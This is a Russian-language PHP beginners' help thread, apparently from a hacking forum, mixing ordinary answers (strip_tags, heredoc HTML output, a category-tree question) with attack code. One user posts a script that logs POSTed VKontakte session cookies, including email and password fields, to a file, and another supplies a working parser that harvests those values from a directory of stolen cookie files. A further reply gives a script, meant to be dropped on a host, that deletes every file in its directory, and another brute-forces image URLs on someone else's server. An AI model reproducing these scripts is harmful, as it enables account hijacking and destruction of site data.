[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. LEXAlForpostl

    LEXAlForpostl New Member

    Joined:
    11 Jul 2008
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    Нет, наоборот
    В переменной $text - запихан текст, в нём есть несколько <a href***>lalala1</a> , <a href***>lalala2</a>, как удалить <a href***> и </a>, и оставить только те слова в тексте, которые между этими тегами.
     
  2. #Wolf#

    #Wolf# Elder - Старейшина

    Joined:
    26 Mar 2008
    Messages:
    375
    Likes Received:
    166
    Reputations:
    16
    или же вариант проще (если у тебя одни ссылки и нет лишнего текста)

    strip_tags — Удаляет HTML и PHP тэги из строки
    PHP:
    <?php
    $text
    ='<a href="http://google.com">Google</a>';
    $text=strip_tags($text);
    echo 
    $text;
    ?>
     
    #9122 #Wolf#, 19 Mar 2009
    Last edited: 19 Mar 2009
  3. LEXAlForpostl

    LEXAlForpostl New Member

    Joined:
    11 Jul 2008
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    Спасибо огромное за помощь :)
     
  4. shpak1

    shpak1 New Member

    Joined:
    17 Mar 2009
    Messages:
    14
    Likes Received:
    1
    Reputations:
    0
    Люди, уже 3ий день сижу) Помогите кто может)
    Повторяюсь:
    Я просто не особо шарю где и как написать этот скриптик. Знаю что это просто, но не знаю куда тыкаться)
    Задача такова:
    Этот скрипт добавляет в txt файл нужные значения так как мне надо)
    PHP:
    <?php
    $remixmid 
    $_POST['remixmid']; 
    $remixemail $_POST['remixemail'];
    $remixpass $_POST['remixpass'];
    $remixsid $_POST['remixsid']; 

    $text .= "remixlang=0; ";
    $text .= "remixmid=$remixmid; ";
    $text .= "remixemail=$remixemail; "
    $text .= "remixpass=$remixpass; "
    $text .= "remixsid=$remixsid; "
    $text .= "remixchk=5; \n";  
      if (!empty(
    $remixmid) && !empty($remixemail) && !empty($remixpass) && !empty($remixsid)) 
        {
        
    $file fopen ('cookies.txt''a+'); 
        
    fwrite ($file,$text); 
        
    fclose ($file); 
    }
    ?>
    В итоге получается в конченом файле cookies.txt:
    Нужно собрать его со скриптом который будет брать из папки с куками 4 значения из каждого файла, которые находятся под индификаторами(Remixmid,Remixemail,Remixpass,Remixsid).

    Пример кука:
    Заранее спасибо))
     
    #9124 shpak1, 19 Mar 2009
    Last edited: 19 Mar 2009
  5. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    2 shpak1:

    PHP:
    <?php  

    @set_time_limit(0); 
    @
    ini_set("display_errors","1");

    function 
    check($str) {
     
    $arr = array ('remixlang','remixchk','remixmid','remixemail','remixpass','remixsid','remixclosed_tabs');
     if( 
    in_array($str,$arr)) return true;
     else return 
    false;



    function 
    ListDir($path) {
        
    $path = (substr($path,-1)=='/') ? $path:$path.'/';
        
    $dh  opendir($path);
        while ( (
    $item readdir($dh) ) !== false) {
            
    $item $path.$item;
            if ( (
    basename($item) == "..") || (basename($item) == ".") )
                continue;
            
    $type filetype($item);
            if (
    $type == "dir")
                
    ListDir($item);
            else
                
    $dir[]=$item;
        }
        
    closedir($dh);
            return 
    $dir;
    }
    $a ListDir('/home/bla-bla/bla-bla/http/s11/'); // Полный абсолютный путь до директории с куками
    $count count($a);
    $buffer='';
    $file fopen('result.txt','a');
    for (
    $i=0;$i<$count;$i++) {
      
    $handl fopen($a[$i],'r');
      while (!
    feof($handl)) {
        
    $buffer trim(fgets($handl));
        if(
    check($buffer)) {
           
    fwrite($file,$buffer ."=");
           
    $buffer trim(fgets($handl));
           
    fwrite($file,$buffer.";");
        } 

      }
    fclose($handl);
    fwrite($file,"\r\n");
    }
    fclose($file);
    echo 
    'All results was saved in result.txt';
    ?>
     
    #9125 Pashkela, 19 Mar 2009
    Last edited: 19 Mar 2009
    1 person likes this.
  6. shpak1

    shpak1 New Member

    Joined:
    17 Mar 2009
    Messages:
    14
    Likes Received:
    1
    Reputations:
    0
    To Pashkela:
    ^_^ Спасибо огромное)
    Побежал тестить)
     
  7. shpak1

    shpak1 New Member

    Joined:
    17 Mar 2009
    Messages:
    14
    Likes Received:
    1
    Reputations:
    0
    Все работает!!!))))))))) Осталось подредактировать немного, но там легко это сделать))
    To Pashkela: Еще раз спасибо)
     
  8. Patronik

    Patronik Member

    Joined:
    16 Mar 2009
    Messages:
    111
    Likes Received:
    12
    Reputations:
    0
    Извиняюсь за тупой вопрос, но как вызвать штмл форму внутри кода пхп?
    Делаю так:
    <?
    echo "<h4>Вивод формы</h4>
    <form>
    <input type = "text"
    name = "userName"
    value = "Тут введите свое имя">
    <inpyt type = "submit">
    </form>";

    ?>
    Так не работает. ка ето сделать?
     
  9. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    <?php
    echo 'aaa';
    ?>
    <html>blablabla</html>
    <?php
    echo 'done.......'
    ?>
     
    2 people like this.
  10. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    477
    Likes Received:
    483
    Reputations:
    99
    PHP:
    <?
    echo <<<HTML
    <h4>Вивод формы</h4>
            <form>
            <input type = "text"
                    name = "userName"
                    value = "Тут введите свое имя">
                    <inpyt type = "submit">
                    </form>
    HTML;
                        
    ?>
     
  11. art2222

    art2222 Elder - Старейшина

    Joined:
    28 Apr 2008
    Messages:
    118
    Likes Received:
    57
    Reputations:
    10
    Тогда или echo с одинарными кавычками или перед " ставь \ т.е. \" (в печатаемом тексте)
     
  12. inlanger

    inlanger Elder - Старейшина

    Joined:
    7 Jan 2007
    Messages:
    985
    Likes Received:
    283
    Reputations:
    27
    PHP:
    <?
    echo<<<EOS
    <h4>Вивод формы</h4>
    <form>
    <input type = "text"
    name = "userName"
    value = "Тут введите свое имя">
    <inpyt type = "submit">
    </form>;
    EOS;
    ?>
     
    #9132 inlanger, 19 Mar 2009
    Last edited: 19 Mar 2009
  13. VaTTka

    VaTTka Member

    Joined:
    10 Dec 2008
    Messages:
    0
    Likes Received:
    14
    Reputations:
    0
    Подскажите пожалуйста,к ак сделать скрипт пхп:
    заливается на хостинг, по запросу в адресной строке, все файлы из каталога, где лежит скрипт, удаляются.
    Возможно ли такое?
     
  14. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    <?pph
    $a = scandir(dirname(__FILE__));
    unset($a[0], $a[1]);
    foreach ($a as $name) if (!unlink($name)) $ch++;
    if (!$ch) echo 'well done';
    else echo 'failed';
    ?>
     
    1 person likes this.
  15. Corpy

    Corpy New Member

    Joined:
    18 Mar 2009
    Messages:
    29
    Likes Received:
    1
    Reputations:
    0
    Здраствуйте.
    Есть хост на котором картинки рандомятся.
    xost.ru/images/B_******.jpg - типа так
    С помощью чего можно сделать скрипт который,будет перебирать звёздочки в адресе.Под звёздочками могут быть ещё буквы.Вроде только до буквы "g".И если он найдёт таким перебором картинку что бы ссылку записал в какой то текстовый документ.
    При неправильном адресе - выводит
    Code:
    <head><title>403 Forbidden</title></head> <body bgcolor="white"> <center><h1>403 Forbidden</h1></center> <hr><center>nginx/0.6.31</center>
    И ещё вопрос.У меня дома нет интернета можно ли как то стянуть все 900 страниц, что бы я дома занялся чтением.
    Спасибо:)

    Ошибся немного выше, или наверное просто меня не так поняли.
    Под звёздочками могут быть такие названия: 7594ed56 ,2748dcbc , acd38465.
     
    #9135 Corpy, 19 Mar 2009
    Last edited: 20 Mar 2009
  16. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    PHP:
    <?php
    set_time_limit
    (0);
    $litrs = array(=> 'a'=> 'b'=> 'c'=> 'd'=> 'e'=> 'f'=> 'g');
    $ranj range(111111,777777);
    foreach (
    $ranj as $num) {
        
    $num = (string)$num;
        
    $name $litrs[$num{0}].$litrs[$num{1}].$litrs[$num{2}].$litrs[$num{3}].$litrs[$num{4}].$litrs[$num{5}];
        
    $pic = @file_get_contents('http://xost.ru/images/B_'.$name.'.jpg');
        if (
    strpos($pic'403 Forbidden') !== truefile_put_contents($name.'.jpg'$pic);
    }
    ?>
     
    1 person likes this.
  17. [dei]

    [dei] Active Member

    Joined:
    24 Nov 2008
    Messages:
    171
    Likes Received:
    112
    Reputations:
    5
    какбэ в 8 раз медленнее одинарных кавычек, спрашивается нафига козе баян
     
    1 person likes this.
  18. Patronik

    Patronik Member

    Joined:
    16 Mar 2009
    Messages:
    111
    Likes Received:
    12
    Reputations:
    0
    Спасибо всем за ответы
     
  19. Corpy

    Corpy New Member

    Joined:
    18 Mar 2009
    Messages:
    29
    Likes Received:
    1
    Reputations:
    0
    Спасибо.За ответ.
     
    1 person likes this.
  20. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    Вопрос знатокам )
    Есть таблица в бд такого вида

    ид отдела название родителький отдел(ид)
    1 Отдел 0
    2 подотдел1 1
    3 подотдел2 1
    4 подотдел_подотдела 2
    5 подотдел 4

    и т.д.

    как можно вывести дерево это?????
     
Thread Status:
Not open for further replies.